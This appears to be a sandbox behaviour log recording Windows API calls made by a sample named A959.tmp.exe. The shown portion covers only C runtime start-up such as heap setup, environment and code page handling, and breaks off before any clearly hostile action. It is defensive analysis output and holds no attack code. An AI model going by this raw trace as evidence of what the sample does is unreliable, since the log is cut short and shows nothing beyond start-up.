# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: Jun 6 2019 12:21:16 # Log Creation Date: 08.07.2019 06:47:10.842 Process: id = "1" image_name = "a959.tmp.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a959.tmp.exe" page_root = "0x4dc23000" os_pid = "0x7b4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x7a0 [0026.857] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0x6da31b0, dwHighDateTime=0x1d53559)) [0026.857] GetCurrentProcessId () returned 0x7b4 [0026.857] GetCurrentThreadId () returned 0x7a0 [0026.857] GetTickCount () returned 0x17fb9 [0026.857] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=14714523894) returned 1 [0026.882] GetStartupInfoW (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x18ff84, hStdError=0x452124)) [0026.882] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0026.882] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1ff0000 [0026.883] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0026.884] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0026.884] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0026.884] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0026.884] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0026.885] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x214) returned 0x1ff07d0 [0026.885] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0026.885] GetCurrentThreadId () returned 0x7a0 [0026.885] GetStartupInfoW (in: lpStartupInfo=0x18febc | out: lpStartupInfo=0x18febc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x44c794, hStdOutput=0x44cb47, hStdError=0x1ff07d0)) [0026.885] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x8, Size=0x800) returned 0x1ff09f0 [0026.885] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0026.885] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0026.885] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0026.885] SetHandleCount (uNumber=0x20) returned 0x20 [0026.885] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe\" " [0026.886] GetEnvironmentStringsW () returned 0x631d38* [0026.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0026.886] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x0, Size=0x565) returned 0x1ff11f8 [0026.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x1ff11f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0026.886] FreeEnvironmentStringsW (penv=0x631d38) returned 1 [0026.886] GetLastError () returned 0x5 [0026.886] SetLastError (dwErrCode=0x5) [0026.886] GetLastError () returned 0x5 [0026.886] SetLastError (dwErrCode=0x5) [0026.886] GetLastError () returned 0x5 [0026.886] SetLastError (dwErrCode=0x5) [0026.886] GetACP () returned 0x4e4 [0026.886] RtlAllocateHeap (HeapHandle=0x1ff0000, Flags=0x0, Size=0x220) returned 0x1ff1768 [0026.886] GetLastError () returned 0x5 [0026.886] SetLastError (dwErrCode=0x5) [0026.886] IsValidCodePage (CodePage=0x4e4) returned 1 [0026.886] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0026.886] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0026.886] GetLastError () returned 0x5 [0026.886] SetLastError (dwErrCode=0x5) [0026.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0026.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0026.886] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0026.886] GetLastError () returned 0x5 [0026.886] SetLastError (dwErrCode=0x5) [0026.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0026.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ獽濝鹀EĀ") returned 256 [0026.887] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ獽濝鹀EĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0026.887] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ獽濝鹀EĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0026.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x59\x02\x0e\x6b\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0026.887] GetLastError () returned 0x5 [0026.887] SetLastError (dwErrCode=0x5) [0026.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0026.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ獽濝鹀EĀ") returned 256 [0026.887] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ獽濝鹀EĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0026.887] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ獽濝鹀EĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0026.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x59\x02\x0e\x6b\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0026.887] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x487820, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a959.tmp.exe")) returned 0x32 [0026.887] GetLastError () returned 0x0 [0026.887] SetLastError (dwErrCode=0x0) [0026.887] GetLastError () returned 0x0 [0026.887] SetLastError (dwErrCode=0x0) [0026.887] GetLastError () returned 0x0 [0026.887] SetLastError (dwErrCode=0x0) [0026.887] GetLastError () returned 0x0 [0026.887] SetLastError (dwErrCode=0x0) [0026.887] GetLastError () returned 0x0 [0026.887] SetLastError (dwErrCode=0x0) [0026.887] GetLastError () returned 0x0 [0026.888] SetLastError (dwErrCode=0x0) [0026.888] GetLastError () returned 0x0 [0026.888] SetLastError (dwErrCode=0x0) [0026.888] GetLastError () returned 0x0 [0026.888] SetLastError (dwErrCode=0x0) [0026.888] GetLastError () returned 0x0 [0026.888] SetLastError (dwErrCode=0x0) [0026.888] GetLastError () returned 0x0 [0026.888] SetLastError (dwErrCode=0x0) [0026.888] GetLastError () returned 0x0 [0026.888] SetLastError (dwErrCode=0x0) [0026.888] GetLastError () returned 0x0 [0026.888] SetLastError (dwErrCode=0x0) [0026.888] GetLastError () returned 0x0 [0026.888] SetLastError (dwErrCode=0x0) [0026.888] GetLastError () returned 0x0 [0026.888] SetLastError (dwErrCode=0x0) [0026.888] GetLastError () returned 0x0 [0026.888] SetLastError (dwErrCode=0x0) [0026.888] GetLastError () returned 0x0 [0026.888] SetLastError (dwErrCode=0x0) [0026.888] GetLastError () returned 0x0 [0026.888] SetLastError (dwErrCode=0x0) [0026.888] GetLastError () returned 0x0 [0026.888] SetLastError (dwErrCode=0x0) [0026.889] 